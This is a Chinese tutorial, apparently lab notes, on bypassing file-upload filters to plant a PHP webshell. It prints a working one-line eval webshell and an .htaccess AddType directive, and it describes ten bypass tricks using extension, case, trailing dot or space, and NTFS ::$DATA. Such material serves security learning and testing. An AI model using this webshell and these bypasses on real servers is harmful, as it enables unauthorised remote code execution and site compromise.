一句話木馬:<?php eval($_REQUEST[8])?>
1、前端驗證繞過
前端對文件的后綴進行了篩選,只允許.jpg .png .gif后綴的文件上傳,所以就直接上傳.jpg的圖片馬,然后抓包,將文件后綴改為.php
還有一種更完美的方式
1、先查看網頁源碼,然后復制到記事本中
2、在記事本中把所有的JS代碼刪除,保存
3、修改代碼中的action標簽:規定當提交表單時,向何處發送表單數據
但是當我們不知道這個地址可以抓包看,這兩個字段組合起來就行了
4、修改好之后保存,然后用瀏覽器打開剛才的記事本
沒有JS的代碼就是這個樣子,但是功能還是齊全的
5、上傳完之后可以看到完整的返回頁面
2、Content-Type繞過
和1類似,直接抓包修改后綴名即可
3、特殊名字繞過
對上傳的文件的后綴進行了過濾,.asp .php .aspx .jsp都無法上傳,但是默認狀態下.php3,.php4,.php5,.phtml 都是會被解析為php的 ,就相當於可以換個名字,人還是原來的人,所以直接將上傳的文件的后綴改為.phtml最好
4、.htaccess文件繞過
.htaccess是什么?全稱是Hypertext Access(超文本入口) .htaccess文件也被成為分布式配置文件,提供了針對目錄改變配置的方法,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用於此目錄及其所有子目錄。
.htaccess功能: 文件夾密碼保護、用戶自定義重定向、自定義404頁面、擴展名偽靜態化、禁止特定IP地址的用戶、只允許特定IP地址的用戶、禁止目錄列表 很可惜,這么一個強大的功能默認是不開啟的
首先,新建一個.htaccess的文件,在文件中寫入AddType application/x-httpd-php .jpg [這個指令的作用是將 .jpg的文件改為 .php]
(如果無法創建這種空文件名的文件可以用cmd改 ==>> ren test.txt .htaccess)
然后我們就可以先上傳一個.jpg的圖片馬,然后再上傳.htaccess的文件,然后在有.htaccess的文件夾內.jpg就會被解析為.php的文件,然后上傳的圖片馬就可以發揮作用了
5、大小寫繞過
只有非常老的Web容器才會區分大小寫,現在一般的web容器都不會區分大小寫
比如說把.php換成.PHp
6、文件后綴(空格)繞過
若.php在黑名單中,可以抓包修改成.php ,上傳成功后會自動省略多的空格
7、文件后綴(點)繞過
和6類似,把空格換成 . ,windows的特性會自動省略最后的 .
8、windows文件流繞過 ::$DATA
(這里利用到了NTFS交換數據流(ADS),ADS是NTFS磁盤格式的一個特性,在NTFS文件系統下,每個文件都可以存在多個數據流。通俗的理解,就是其它文件可以“寄宿”在某個文件身上,而在資源管理器中卻只能看到宿主文件,找不到寄宿文件。)
TIPS:在cmd中輸入 echo 123456>>a.txt:b.txt這句話的作用是把 123456 寫入 a.txt:b.txt中,但是你只能在相應的文件夾中看到a.txt而且內容是空的
想要查看寫入內容的話就用notepad a.txt:b.txt
所以回到正題::$DATA就是默認不修改文件流的情況,a.txt::$DATA也就是a.txt本身了。最后得出結論a.txt::$DATA和a.txt是等價的,就可以用a.txt::$DATA繞過。
9、構造文件后綴繞過
比如網頁源代碼會依次檢查最后一位是不是.和空格,並且沒有循環,則可以構造. .(點空格點)來繞過
10、雙寫繞過
有些時候會檢查有沒有 php字符出現,若存在則直接替換為空,並且沒有循環,這個時候就可以用.pphphp的后綴繞過